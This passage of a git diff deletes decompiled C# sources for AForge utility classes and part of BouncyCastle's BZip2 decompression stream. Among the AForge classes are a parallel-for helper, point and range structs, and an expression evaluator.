-public sealed class Parallel -{ - public delegate void ForLoopBody(int index); - - private static int threadsCount = Environment.ProcessorCount; - - private static object sync = new object(); - - private static volatile Parallel instance = null; - - private Thread[] threads; - - private AutoResetEvent[] jobAvailable; - - private ManualResetEvent[] threadIdle; - - private int currentIndex; - - private int stopIndex; - - private ForLoopBody loopBody; - - public static int ThreadsCount - { - get - { - return threadsCount; - } - set - { - lock (sync) - { - threadsCount = Math.Max(1, value); - } - } - } - - private static Parallel Instance - { - get - { - if (instance == null) - { - instance = new Parallel(); - instance.Initialize(); - } - else if (instance.threads.Length != threadsCount) - { - instance.Terminate(); - instance.Initialize(); - } - return instance; - } - } - - public static void For(int start, int stop, ForLoopBody loopBody) - { - lock (sync) - { - Parallel parallel = Instance; - parallel.currentIndex = start - 1; - parallel.stopIndex = stop; - parallel.loopBody = loopBody; - for (int i = 0; i < threadsCount; i++) - { - parallel.threadIdle[i].Reset(); - parallel.jobAvailable[i].Set(); - } - for (int j = 0; j < threadsCount; j++) - { - parallel.threadIdle[j].WaitOne(); - } - parallel.loopBody = null; - } - } - - private Parallel() - { - } - - private void Initialize() - { - jobAvailable = new AutoResetEvent[threadsCount]; - threadIdle = new ManualResetEvent[threadsCount]; - threads = new Thread[threadsCount]; - for (int i = 0; i < threadsCount; i++) - { - jobAvailable[i] = new AutoResetEvent(initialState: false); - threadIdle[i] = new ManualResetEvent(initialState: true); - threads[i] = new Thread(WorkerThread); - threads[i].Name = "AForge.Parallel"; - threads[i].IsBackground = true; - threads[i].Start(i); - } - } - - private void Terminate() - { - loopBody = null; - int i = 0; - for (int num = threads.Length; i < num; i++) - { - jobAvailable[i].Set(); - threads[i].Join(); - jobAvailable[i].Close(); - threadIdle[i].Close(); - } - jobAvailable = null; - threadIdle = null; - threads = null; - } - - private void WorkerThread(object index) - { - int num = (int)index; - int num2 = 0; - while (true) - { - jobAvailable[num].WaitOne(); - if (loopBody == null) - { - break; - } - while (true) - { - num2 = Interlocked.Increment(ref currentIndex); - if (num2 >= stopIndex) - { - break; - } - loopBody(num2); - } - threadIdle[num].Set(); - } - } -} diff --git a/output/Libraries/AForge/AForge/Point.cs b/output/Libraries/AForge/AForge/Point.cs deleted file mode 100644 index e314e79..0000000 --- a/output/Libraries/AForge/AForge/Point.cs +++ /dev/null @@ -1,149 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge; - -[Serializable] -public struct Point -{ - public float X; - - public float Y; - - public Point(float x, float y) - { - X = x; - Y = y; - } - - public float DistanceTo(Point anotherPoint) - { - float num = X - anotherPoint.X; - float num2 = Y - anotherPoint.Y; - return (float)Math.Sqrt(num * num + num2 * num2); - } - - public float SquaredDistanceTo(Point anotherPoint) - { - float num = X - anotherPoint.X; - float num2 = Y - anotherPoint.Y; - return num * num + num2 * num2; - } - - public static Point operator +(Point point1, Point point2) - { - return new Point(point1.X + point2.X, point1.Y + point2.Y); - } - - public static Point Add(Point point1, Point point2) - { - return new Point(point1.X + point2.X, point1.Y + point2.Y); - } - - public static Point operator -(Point point1, Point point2) - { - return new Point(point1.X - point2.X, point1.Y - point2.Y); - } - - public static Point Subtract(Point point1, Point point2) - { - return new Point(point1.X - point2.X, point1.Y - point2.Y); - } - - public static Point operator +(Point point, float valueToAdd) - { - return new Point(point.X + valueToAdd, point.Y + valueToAdd); - } - - public static Point Add(Point point, float valueToAdd) - { - return new Point(point.X + valueToAdd, point.Y + valueToAdd); - } - - public static Point operator -(Point point, float valueToSubtract) - { - return new Point(point.X - valueToSubtract, point.Y - valueToSubtract); - } - - public static Point Subtract(Point point, float valueToSubtract) - { - return new Point(point.X - valueToSubtract, point.Y - valueToSubtract); - } - - public static Point operator *(Point point, float factor) - { - return new Point(point.X * factor, point.Y * factor); - } - - public static Point Multiply(Point point, float factor) - { - return new Point(point.X * factor, point.Y * factor); - } - - public static Point operator /(Point point, float factor) - { - return new Point(point.X / factor, point.Y / factor); - } - - public static Point Divide(Point point, float factor) - { - return new Point(point.X / factor, point.Y / factor); - } - - public static bool operator ==(Point point1, Point point2) - { - if (point1.X == point2.X) - { - return point1.Y == point2.Y; - } - return false; - } - - public static bool operator !=(Point point1, Point point2) - { - if (point1.X == point2.X) - { - return point1.Y != point2.Y; - } - return true; - } - - public override bool Equals(object obj) - { - if (!(obj is Point)) - { - return false; - } - return this == (Point)obj; - } - - public override int GetHashCode() - { - return X.GetHashCode() + Y.GetHashCode(); - } - - public static explicit operator IntPoint(Point point) - { - return new IntPoint((int)point.X, (int)point.Y); - } - - public static implicit operator DoublePoint(Point point) - { - return new DoublePoint(point.X, point.Y); - } - - public IntPoint Round() - { - return new IntPoint((int)Math.Round(X), (int)Math.Round(Y)); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}", new object[2] { X, Y }); - } - - public float EuclideanNorm() - { - return (float)Math.Sqrt(X * X + Y * Y); - } -} diff --git a/output/Libraries/AForge/AForge/PolishExpression.cs b/output/Libraries/AForge/AForge/PolishExpression.cs deleted file mode 100644 index 429d1d5..0000000 --- a/output/Libraries/AForge/AForge/PolishExpression.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.Collections; - -namespace AForge; - -public static class PolishExpression -{ - public static double Evaluate(string expression, double[] variables) - { - string[] array = expression.Trim().Split(new char[1] { ' ' }); - Stack stack = new Stack(); - string[] array2 = array; - foreach (string text in array2) - { - if (char.IsDigit(text[0])) - { - stack.Push(double.Parse(text)); - continue; - } - if (text[0] == '$') - { - stack.Push(variables[int.Parse(text.Substring(1))]); - continue; - } - double num = (double)stack.Pop(); - switch (text) - { - case "+": - stack.Push((double)stack.Pop() + num); - break; - case "-": - stack.Push((double)stack.Pop() - num); - break; - case "*": - stack.Push((double)stack.Pop() * num); - break; - case "/": - stack.Push((double)stack.Pop() / num); - break; - case "sin": - stack.Push(Math.Sin(num)); - break; - case "cos": - stack.Push(Math.Cos(num)); - break; - case "ln": - stack.Push(Math.Log(num)); - break; - case "exp": - stack.Push(Math.Exp(num)); - break; - case "sqrt": - stack.Push(Math.Sqrt(num)); - break; - default: - throw new ArgumentException("Unsupported function: " + text); - } - } - if (stack.Count != 1) - { - throw new ArgumentException("Incorrect expression."); - } - return (double)stack.Pop(); - } -} diff --git a/output/Libraries/AForge/AForge/Range.cs b/output/Libraries/AForge/AForge/Range.cs deleted file mode 100644 index cc93582..0000000 --- a/output/Libraries/AForge/AForge/Range.cs +++ /dev/null @@ -1,125 +0,0 @@ -using System; -using System.Globalization; - -namespace AForge; - -[Serializable] -public struct Range -{ - private float min; - - private float max; - - public float Min - { - get - { - return min; - } - set - { - min = value; - } - } - - public float Max - { - get - { - return max; - } - set - { - max = value; - } - } - - public float Length => max - min; - - public Range(float min, float max) - { - this.min = min; - this.max = max; - } - - public bool IsInside(float x) - { - if (x >= min) - { - return x <= max; - } - return false; - } - - public bool IsInside(Range range) - { - if (IsInside(range.min)) - { - return IsInside(range.max); - } - return false; - } - - public bool IsOverlapping(Range range) - { - if (!IsInside(range.min) && !IsInside(range.max) && !range.IsInside(min)) - { - return range.IsInside(max); - } - return true; - } - - public IntRange ToIntRange(bool provideInnerRange) - { - int num; - int num2; - if (provideInnerRange) - { - num = (int)Math.Ceiling(min); - num2 = (int)Math.Floor(max); - } - else - { - num = (int)Math.Floor(min); - num2 = (int)Math.Ceiling(max); - } - return new IntRange(num, num2); - } - - public static bool operator ==(Range range1, Range range2) - { - if (range1.min == range2.min) - { - return range1.max == range2.max; - } - return false; - } - - public static bool operator !=(Range range1, Range range2) - { - if (range1.min == range2.min) - { - return range1.max != range2.max; - } - return true; - } - - public override bool Equals(object obj) - { - if (!(obj is Range)) - { - return false; - } - return this == (Range)obj; - } - - public override int GetHashCode() - { - return min.GetHashCode() + max.GetHashCode(); - } - - public override string ToString() - { - return string.Format(CultureInfo.InvariantCulture, "{0}, {1}", new object[2] { min, max }); - } -} diff --git a/output/Libraries/AForge/AForge/SystemTools.cs b/output/Libraries/AForge/AForge/SystemTools.cs deleted file mode 100644 index 6fd3b03..0000000 --- a/output/Libraries/AForge/AForge/SystemTools.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using System.Runtime.InteropServices; - -namespace AForge; - -public static class SystemTools -{ - public unsafe static IntPtr CopyUnmanagedMemory(IntPtr dst, IntPtr src, int count) - { - CopyUnmanagedMemory((byte*)dst.ToPointer(), (byte*)src.ToPointer(), count); - return dst; - } - - public unsafe static byte* CopyUnmanagedMemory(byte* dst, byte* src, int count) - { - return memcpy(dst, src, count); - } - - public unsafe static IntPtr SetUnmanagedMemory(IntPtr dst, int filler, int count) - { - SetUnmanagedMemory((byte*)dst.ToPointer(), filler, count); - return dst; - } - - public unsafe static byte* SetUnmanagedMemory(byte* dst, int filler, int count) - { - return memset(dst, filler, count); - } - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.Cdecl)] - private unsafe static extern byte* memcpy(byte* dst, byte* src, int count); - - [DllImport("ntdll.dll", CallingConvention = CallingConvention.Cdecl)] - private unsafe static extern byte* memset(byte* dst, int filler, int count); -} diff --git a/output/Libraries/AForge/AForge/ThreadSafeRandom.cs b/output/Libraries/AForge/AForge/ThreadSafeRandom.cs deleted file mode 100644 index 44f00ae..0000000 --- a/output/Libraries/AForge/AForge/ThreadSafeRandom.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; - -namespace AForge; - -public sealed class ThreadSafeRandom : Random -{ - private object sync = new object(); - - public ThreadSafeRandom() - { - } - - public ThreadSafeRandom(int seed) - : base(seed) - { - } - - public override int Next() - { - lock (sync) - { - return base.Next(); - } - } - - public override int Next(int maxValue) - { - lock (sync) - { - return base.Next(maxValue); - } - } - - public override int Next(int minValue, int maxValue) - { - lock (sync) - { - return base.Next(minValue, maxValue); - } - } - - public override void NextBytes(byte[] buffer) - { - lock (sync) - { - base.NextBytes(buffer); - } - } - - public override double NextDouble() - { - lock (sync) - { - return base.NextDouble(); - } - } -} diff --git a/output/Libraries/AForge/Properties/AssemblyInfo.cs b/output/Libraries/AForge/Properties/AssemblyInfo.cs deleted file mode 100644 index cad3f2d..0000000 --- a/output/Libraries/AForge/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; - -[assembly: AssemblyCopyright("AForge © 2012")] -[assembly: AssemblyTitle("AForge")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("AForge")] -[assembly: AssemblyProduct("AForge.NET")] -[assembly: Guid("f37ad0d7-d32b-4096-841f-3c03dbbecde6")] -[assembly: AssemblyTrademark("")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("2.2.5.0")] -[assembly: AssemblyVersion("2.2.5.0")] diff --git a/output/Libraries/BouncyCastle.Crypto/AssemblyInfo.cs b/output/Libraries/BouncyCastle.Crypto/AssemblyInfo.cs deleted file mode 100644 index 383d34e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System.Reflection; - -internal class AssemblyInfo -{ - private static string version = null; - - public static string Version - { - get - { - if (version == null) - { - version = Assembly.GetExecutingAssembly().GetName().Version.ToString(); - if (version == null) - { - version = string.Empty; - } - } - return version; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/BouncyCastle.Crypto.csproj b/output/Libraries/BouncyCastle.Crypto/BouncyCastle.Crypto.csproj deleted file mode 100644 index fd1caa3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/BouncyCastle.Crypto.csproj +++ /dev/null @@ -1,14 +0,0 @@ - - - BouncyCastle.Crypto - False - net10 - - - 12.0 - True - - - - - \ No newline at end of file diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/BZip2Constants.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/BZip2Constants.cs deleted file mode 100644 index d8ee182..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/BZip2Constants.cs +++ /dev/null @@ -1,80 +0,0 @@ -namespace Org.BouncyCastle.Apache.Bzip2; - -public class BZip2Constants -{ - public const int baseBlockSize = 100000; - - public const int MAX_ALPHA_SIZE = 258; - - public const int MAX_CODE_LEN = 23; - - public const int RUNA = 0; - - public const int RUNB = 1; - - public const int N_GROUPS = 6; - - public const int G_SIZE = 50; - - public const int N_ITERS = 4; - - public const int MAX_SELECTORS = 18002; - - public const int NUM_OVERSHOOT_BYTES = 20; - - public static readonly int[] rNums = new int[512] - { - 619, 720, 127, 481, 931, 816, 813, 233, 566, 247, - 985, 724, 205, 454, 863, 491, 741, 242, 949, 214, - 733, 859, 335, 708, 621, 574, 73, 654, 730, 472, - 419, 436, 278, 496, 867, 210, 399, 680, 480, 51, - 878, 465, 811, 169, 869, 675, 611, 697, 867, 561, - 862, 687, 507, 283, 482, 129, 807, 591, 733, 623, - 150, 238, 59, 379, 684, 877, 625, 169, 643, 105, - 170, 607, 520, 932, 727, 476, 693, 425, 174, 647, - 73, 122, 335, 530, 442, 853, 695, 249, 445, 515, - 909, 545, 703, 919, 874, 474, 882, 500, 594, 612, - 641, 801, 220, 162, 819, 984, 589, 513, 495, 799, - 161, 604, 958, 533, 221, 400, 386, 867, 600, 782, - 382, 596, 414, 171, 516, 375, 682, 485, 911, 276, - 98, 553, 163, 354, 666, 933, 424, 341, 533, 870, - 227, 730, 475, 186, 263, 647, 537, 686, 600, 224, - 469, 68, 770, 919, 190, 373, 294, 822, 808, 206, - 184, 943, 795, 384, 383, 461, 404, 758, 839, 887, - 715, 67, 618, 276, 204, 918, 873, 777, 604, 560, - 951, 160, 578, 722, 79, 804, 96, 409, 713, 940, - 652, 934, 970, 447, 318, 353, 859, 672, 112, 785, - 645, 863, 803, 350, 139, 93, 354, 99, 820, 908, - 609, 772, 154, 274, 580, 184, 79, 626, 630, 742, - 653, 282, 762, 623, 680, 81, 927, 626, 789, 125, - 411, 521, 938, 300, 821, 78, 343, 175, 128, 250, - 170, 774, 972, 275, 999, 639, 495, 78, 352, 126, - 857, 956, 358, 619, 580, 124, 737, 594, 701, 612, - 669, 112, 134, 694, 363, 992, 809, 743, 168, 974, - 944, 375, 748, 52, 600, 747, 642, 182, 862, 81, - 344, 805, 988, 739, 511, 655, 814, 334, 249, 515, - 897, 955, 664, 981, 649, 113, 974, 459, 893, 228, - 433, 837, 553, 268, 926, 240, 102, 654, 459, 51, - 686, 754, 806, 760, 493, 403, 415, 394, 687, 700, - 946, 670, 656, 610, 738, 392, 760, 799, 887, 653, - 978, 321, 576, 617, 626, 502, 894, 679, 243, 440, - 680, 879, 194, 572, 640, 724, 926, 56, 204, 700, - 707, 151, 457, 449, 797, 195, 791, 558, 945, 679, - 297, 59, 87, 824, 713, 663, 412, 693, 342, 606, - 134, 108, 571, 364, 631, 212, 174, 643, 304, 329, - 343, 97, 430, 751, 497, 314, 983, 374, 822, 928, - 140, 206, 73, 263, 980, 736, 876, 478, 430, 305, - 170, 514, 364, 692, 829, 82, 855, 953, 676, 246, - 369, 970, 294, 750, 807, 827, 150, 790, 288, 923, - 804, 378, 215, 828, 592, 281, 565, 555, 710, 82, - 896, 831, 547, 261, 524, 462, 293, 465, 502, 56, - 661, 821, 976, 991, 658, 869, 905, 758, 745, 193, - 768, 550, 608, 933, 378, 286, 215, 979, 792, 961, - 61, 688, 793, 644, 986, 403, 106, 366, 905, 644, - 372, 567, 466, 434, 645, 210, 389, 550, 919, 135, - 780, 773, 635, 389, 707, 100, 626, 958, 165, 504, - 920, 176, 193, 713, 857, 265, 203, 50, 668, 108, - 645, 990, 626, 197, 510, 357, 358, 850, 858, 364, - 936, 638 - }; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CBZip2InputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CBZip2InputStream.cs deleted file mode 100644 index bd4f7d5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Apache/Bzip2/CBZip2InputStream.cs +++ /dev/null @@ -1,930 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Apache.Bzip2; - -public class CBZip2InputStream : Stream -{ - private const int START_BLOCK_STATE = 1; - - private const int RAND_PART_A_STATE = 2; - - private const int RAND_PART_B_STATE = 3; - - private const int RAND_PART_C_STATE = 4; - - private const int NO_RAND_PART_A_STATE = 5; - - private const int NO_RAND_PART_B_STATE = 6; - - private const int NO_RAND_PART_C_STATE = 7; - - private int last; - - private int origPtr; - - private int blockSize100k; - - private bool blockRandomised; - - private int bsBuff; - - private int bsLive; - - private CRC mCrc = new CRC(); - - private bool[] inUse = new bool[256]; - - private int nInUse; - - private char[] seqToUnseq = new char[256]; - - private char[] unseqToSeq = new char[256]; - - private char[] selector = new char[18002]; - - private char[] selectorMtf = new char[18002]; - - private int[] tt; - - private char[] ll8; - - private int[] unzftab = new int[256]; - - private int[][] limit = InitIntArray(6, 258); - - private int[][] basev = InitIntArray(6, 258); - - private int[][] perm = InitIntArray(6, 258); - - private int[] minLens = new int[6]; - - private Stream bsStream; - - private bool streamEnd = false; - - private int currentChar = -1; - - private int currentState = 1; - - private int storedBlockCRC; - - private int storedCombinedCRC; - - private int computedBlockCRC; - - private int computedCombinedCRC; - - private int i2; - - private int count; - - private int chPrev; - - private int ch2; - - private int i; - - private int tPos; - - private int rNToGo = 0; - - private int rTPos = 0; - - private int j2; - - private char z; - - public override bool CanRead => true; - - public override bool CanSeek => false; - - public override bool CanWrite => false; - - public override long Length => 0L; - - public override long Position - { - get - { - return 0L; - } - set - { - } - } - - private static void Cadvise() - { - } - - private static void CompressedStreamEOF() - { - Cadvise(); - } - - private void MakeMaps() - { - nInUse = 0; - for (int i = 0; i < 256; i++) - { - if (inUse[i]) - { - seqToUnseq[nInUse] = (char)i; - unseqToSeq[i] = (char)nInUse; - nInUse++; - } - } - } - - public CBZip2InputStream(Stream zStream) - { - ll8 = null; - tt = null; - BsSetStream(zStream); - Initialize(); - InitBlock(); - SetupBlock(); - } - - internal static int[][] InitIntArray(int n1, int n2) - { - int[][] array = new int[n1][]; - for (int i = 0; i < n1; i++) - { - array[i] = new int[n2]; - } - return array; - } - - internal static char[][] InitCharArray(int n1, int n2) - { - char[][] array = new char[n1][]; - for (int i = 0; i < n1; i++) - { - array[i] = new char[n2]; - } - return array; - } - - public override int ReadByte() - { - if (streamEnd) - { - return -1; - } - int result = currentChar; - switch (currentState) - { - case 3: - SetupRandPartB(); - break; - case 4: - SetupRandPartC(); - break; - case 6: - SetupNoRandPartB(); - break; - case 7: - SetupNoRandPartC(); - break; - } - return result; - } - - private void Initialize() - { - char c = BsGetUChar(); - char c2 = BsGetUChar(); - if (c != 'B' && c2 != 'Z') - { - throw new IOException("Not a BZIP2 marked stream"); - } - c = BsGetUChar(); - c2 = BsGetUChar(); - if (c != 'h' || c2 < '1' || c2 > '9') - { - BsFinishedWithStream(); - streamEnd = true; - } - else - { - SetDecompressStructureSizes(c2 - 48); - computedCombinedCRC = 0; - } - } - - private void InitBlock() - { - char c = BsGetUChar(); - char c2 = BsGetUChar(); - char c3 = BsGetUChar(); - char c4 = BsGetUChar(); - char c5 = BsGetUChar(); - char c6 = BsGetUChar(); - if (c == '\u0017' && c2 == 'r' && c3 == 'E' && c4 == '8' && c5 == 'P' && c6 == '\u0090') - { - Complete(); - return; - } - if (c != '1' || c2 != 'A' || c3 != 'Y' || c4 != '&' || c5 != 'S' || c6 != 'Y') - { - BadBlockHeader(); - streamEnd = true; - return; - } - storedBlockCRC = BsGetInt32(); - if (BsR(1) == 1) - { - blockRandomised = true; - } - else - { - blockRandomised = false; - } - GetAndMoveToFrontDecode(); - mCrc.InitialiseCRC(); - currentState = 1; - } - - private void EndBlock() - { - computedBlockCRC = mCrc.GetFinalCRC(); - if (storedBlockCRC != computedBlockCRC) - { - CrcError(); - } - computedCombinedCRC = (computedCombinedCRC << 1) | (computedCombinedCRC >>> 31); - computedCombinedCRC ^= computedBlockCRC; - } - - private void Complete() - { - storedCombinedCRC = BsGetInt32(); - if (storedCombinedCRC != computedCombinedCRC) - { - CrcError(); - } - BsFinishedWithStream(); - streamEnd = true; - } - - private static void BlockOverrun() - { - Cadvise(); - } - - private static void BadBlockHeader() - { - Cadvise(); - } - - private static void CrcError() - { - Cadvise(); - } - - private void BsFinishedWithStream() - { - try - { - if (bsStream != null) - { - Platform.Dispose(bsStream); - bsStream = null; - } - } - catch - { - } - } - - private void BsSetStream(Stream f) - { - bsStream = f; - bsLive = 0; - bsBuff = 0; - } - - private int BsR(int n) - { - while (bsLive < n) - { - char c = '\0'; - try - { - c = (char)bsStream.ReadByte(); - } - catch (IOException) - { - CompressedStreamEOF(); - } - if (c == '\uffff') - { - CompressedStreamEOF(); - } - int num = c; - bsBuff = (bsBuff << 8) | (num & 0xFF); - bsLive += 8; - } - int result = (bsBuff >> bsLive - n) & ((1 << n) - 1); - bsLive -= n; - return result; - } - - private char BsGetUChar() - { - return (char)BsR(8); - } - - private int BsGetint() - { - int num = 0; - num = (num << 8) | BsR(8); - num = (num << 8) | BsR(8); - num = (num << 8) | BsR(8); - return (num << 8) | BsR(8); - } - - private int BsGetIntVS(int numBits) - { - return BsR(numBits); - } - - private int BsGetInt32() - { - return BsGetint(); - } - - private void HbCreateDecodeTables(int[] limit, int[] basev, int[] perm, char[] length, int minLen, int maxLen, int alphaSize) - { - int num = 0; - for (int i = minLen; i <= maxLen; i++) - { - for (int j = 0; j < alphaSize; j++) - { - if (length[j] == i) - { - perm[num] = j; - num++; - } - } - } - for (int i = 0; i < 23; i++) - { - basev[i] = 0; - } - for (int i = 0; i < alphaSize; i++) - { - int[] array2; - int[] array = (array2 = basev); - int num2 = length[i] + 1; - nint num3 = num2; - array[num2] = array2[num3] + 1; - } - for (int i = 1; i < 23; i++) - { - int[] array2; - int[] array3 = (array2 = basev); - int num4 = i; - nint num3 = num4; - array3[num4] = array2[num3] + basev[i - 1]; - } - for (int i = 0; i < 23; i++) - { - limit[i] = 0; - } - int num5 = 0; - for (int i = minLen; i <= maxLen; i++) - { - num5 += basev[i + 1] - basev[i]; - limit[i] = num5 - 1; - num5 <<= 1; - } - for (int i = minLen + 1; i <= maxLen; i++) - { - basev[i] = (limit[i - 1] + 1 << 1) - basev[i]; - } - } - - private void RecvDecodingTables() - { - char[][] array = InitCharArray(6, 258); - bool[] array2 = new bool[16]; - for (int i = 0; i < 16; i++) - { - if (BsR(1) == 1) - { - array2[i] = true; - } - else - { - array2[i] = false; - } - } - for (int i = 0; i < 256; i++) - { - inUse[i] = false; - } - for (int i = 0; i < 16; i++) - { - if (!array2[i]) - { - continue; - } - for (int j = 0; j < 16; j++) - { - if (BsR(1) == 1) - { - inUse[i * 16 + j] = true; - } - } - } - MakeMaps(); - int num = nInUse + 2; - int num2 = BsR(3); - int num3 = BsR(15); - for (int i = 0; i < num3; i++) - { - int j = 0; - while (BsR(1) == 1) - { - j++; - } - selectorMtf[i] = (char)j; - } - char[] array3 = new char[6]; - for (char c = '\0'; c < num2; c = (char)(c + 1)) - { - array3[(uint)c] = c; - } - for (int i = 0; i < num3; i++) - { - char c = selectorMtf[i]; - char c2 = array3[(uint)c]; - while (c > '\0') - { - array3[(uint)c] = array3[c - 1]; - c = (char)(c - 1); - } - array3[0] = c2; - selector[i] = c2; - } - for (int k = 0; k < num2; k++) - { - int num4 = BsR(5); - for (int i = 0; i < num; i++) - { - while (BsR(1) == 1) - { - num4 = ((BsR(1) != 0) ? (num4 - 1) : (num4 + 1)); - } - array[k][i] = (char)num4; - } - } - for (int k = 0; k < num2; k++) - { - int num5 = 32; - int num6 = 0; - for (int i = 0; i < num; i++) - { - if (array[k][i] > num6) - { - num6 = array[k][i]; - } - if (array[k][i] < num5) - { - num5 = array[k][i]; - } - } - HbCreateDecodeTables(limit[k], basev[k], perm[k], array[k], num5, num6, num); - minLens[k] = num5; - } - } - - private void GetAndMoveToFrontDecode() - { - char[] array = new char[256]; - int num = 100000 * blockSize100k; - origPtr = BsGetIntVS(24); - RecvDecodingTables(); - int num2 = nInUse + 1; - int num3 = -1; - int num4 = 0; - for (int i = 0; i <= 255; i++) - { - unzftab[i] = 0; - } - for (int i = 0; i <= 255; i++) - { - array[i] = (char)i; - } - last = -1; - if (num4 == 0) - { - num3++; - num4 = 50; - } - num4--; - int num5 = selector[num3]; - int num6 = minLens[num5]; - int num7 = BsR(num6); - while (num7 > limit[num5][num6]) - { - num6++; - while (bsLive < 1) - { - char c = '\0'; - try - { - c = (char)bsStream.ReadByte(); - } - catch (IOException) - { - CompressedStreamEOF(); - } - if (c == '\uffff') - { - CompressedStreamEOF(); - } - int num8 = c; - bsBuff = (bsBuff << 8) | (num8 & 0xFF); - bsLive += 8; - } - int num9 = (bsBuff >> bsLive - 1) & 1; - bsLive--; - num7 = (num7 << 1) | num9; - } - int num10 = perm[num5][num7 - basev[num5][num6]]; - while (num10 != num2) - { - int[] array3; - nint num18; - if (num10 == 0 || num10 == 1) - { - int num11 = -1; - int num12 = 1; - do - { - switch (num10) - { - case 0: - num11 += num12; - break; - case 1: - num11 += 2 * num12; - break; - } - num12 *= 2; - if (num4 == 0) - { - num3++; - num4 = 50; - } - num4--; - int num13 = selector[num3]; - int num14 = minLens[num13]; - int num15 = BsR(num14); - while (num15 > limit[num13][num14]) - { - num14++; - while (bsLive < 1) - { - char c2 = '\0'; - try - { - c2 = (char)bsStream.ReadByte(); - } - catch (IOException) - { - CompressedStreamEOF(); - } - if (c2 == '\uffff') - { - CompressedStreamEOF(); - } - int num16 = c2; - bsBuff = (bsBuff << 8) | (num16 & 0xFF); - bsLive += 8; - } - int num17 = (bsBuff >> bsLive - 1) & 1; - bsLive--; - num15 = (num15 << 1) | num17; - } - num10 = perm[num13][num15 - basev[num13][num14]]; - } - while (num10 == 0 || num10 == 1); - num11++; - char c3 = seqToUnseq[(uint)array[0]]; - int[] array2 = (array3 = unzftab); - num18 = (int)c3; - array2[(uint)c3] = array3[num18] + num11; - while (num11 > 0) - { - last++; - ll8[last] = c3; - num11--; - } - if (last >= num) - { - BlockOverrun(); - } - continue; - } - last++; - if (last >= num) - { - BlockOverrun(); - } - char c4 = array[num10 - 1]; - int[] array4 = (array3 = unzftab); - char num19 = seqToUnseq[(uint)c4]; - num18 = (int)num19; - array4[(uint)num19] = array3[num18] + 1; - ll8[last] = seqToUnseq[(uint)c4]; - int num20; - for (num20 = num10 - 1; num20 > 3; num20 -= 4) - { - array[num20] = array[num20 - 1]; - array[num20 - 1] = array[num20 - 2]; - array[num20 - 2] = array[num20 - 3]; - array[num20 - 3] = array[num20 - 4]; - } - while (num20 > 0) - { - array[num20] = array[num20 - 1]; - num20--; - } - array[0] = c4; - if (num4 == 0) - { - num3++; - num4 = 50; - } - num4--; - int num21 = selector[num3]; - int num22 = minLens[num21]; - int num23 = BsR(num22); - while (num23 > limit[num21][num22]) - { - num22++; - while (bsLive < 1) - { - char c5 = '\0'; - try - { - c5 = (char)bsStream.ReadByte(); - } - catch (IOException) - { - CompressedStreamEOF(); - } - int num24 = c5; - bsBuff = (bsBuff << 8) | (num24 & 0xFF); - bsLive += 8; - } - int num25 = (bsBuff >> bsLive - 1) & 1; - bsLive--; - num23 = (num23 << 1) | num25; - } - num10 = perm[num21][num23 - basev[num21][num22]]; - } - } - - private void SetupBlock() - { - int[] array = new int[257]; - array[0] = 0; - for (i = 1; i <= 256; i++) - { - array[i] = unzftab[i - 1]; - } - for (i = 1; i <= 256; i++) - { - int[] array3; - int[] array2 = (array3 = array); - int num = i; - nint num2 = num; - array2[num] = array3[num2] + array[i - 1]; - } - for (i = 0; i <= last; i++) - { - char c = ll8[i]; - tt[array[(uint)c]] = i; - int[] array3; - int[] array4 = (array3 = array); - nint num2 = (int)c; - array4[(uint)c] = array3[num2] + 1; - } - array = null; - tPos = tt[origPtr]; - count = 0; - i2 = 0; - ch2 = 256; - if (blockRandomised) - { - rNToGo = 0; - rTPos = 0; - SetupRandPartA(); - } - else - { - SetupNoRandPartA(); - } - } - - private void SetupRandPartA() - { - if (i2 <= last) - { - chPrev = ch2; - ch2 = ll8[tPos]; - tPos = tt[tPos]; - if (rNToGo == 0) - { - rNToGo = BZip2Constants.rNums[rTPos]; - rTPos++; - if (rTPos == 512) - { - rTPos = 0; - } - } - rNToGo--; - ch2 ^= ((rNToGo == 1) ? 1 : 0); - i2++; - currentChar = ch2; - currentState = 3; - mCrc.UpdateCRC(ch2); - } - else - { - EndBlock(); - InitBlock(); - SetupBlock(); - } - } - - private void SetupNoRandPartA() - { - if (i2 <= last) - { - chPrev = ch2; - ch2 = ll8[tPos]; - tPos = tt[tPos]; - i2++; - currentChar = ch2; - currentState = 6; - mCrc.UpdateCRC(ch2); - } - else - { - EndBlock(); - InitBlock(); - SetupBlock(); - } - } - - private void SetupRandPartB() - { - if (ch2 != chPrev) - { - currentState = 2; - count = 1; - SetupRandPartA(); - return; - } - count++; - if (count >= 4) - { - z = ll8[tPos]; - tPos = tt[tPos]; - if (rNToGo == 0) - { - rNToGo = BZip2Constants.rNums[rTPos]; - rTPos++; - if (rTPos == 512) - { - rTPos = 0; - } - } - rNToGo--; - z ^= ((rNToGo == 1) ? '\u0001' : '\0'); - j2 = 0; - currentState = 4; - SetupRandPartC(); - } - else - { - currentState = 2; - SetupRandPartA(); - } - } - - private void SetupRandPartC() - { - if (j2 < z) - { - currentChar = ch2; - mCrc.UpdateCRC(ch2); - j2++; - } - else - { - currentState = 2; - i2++; 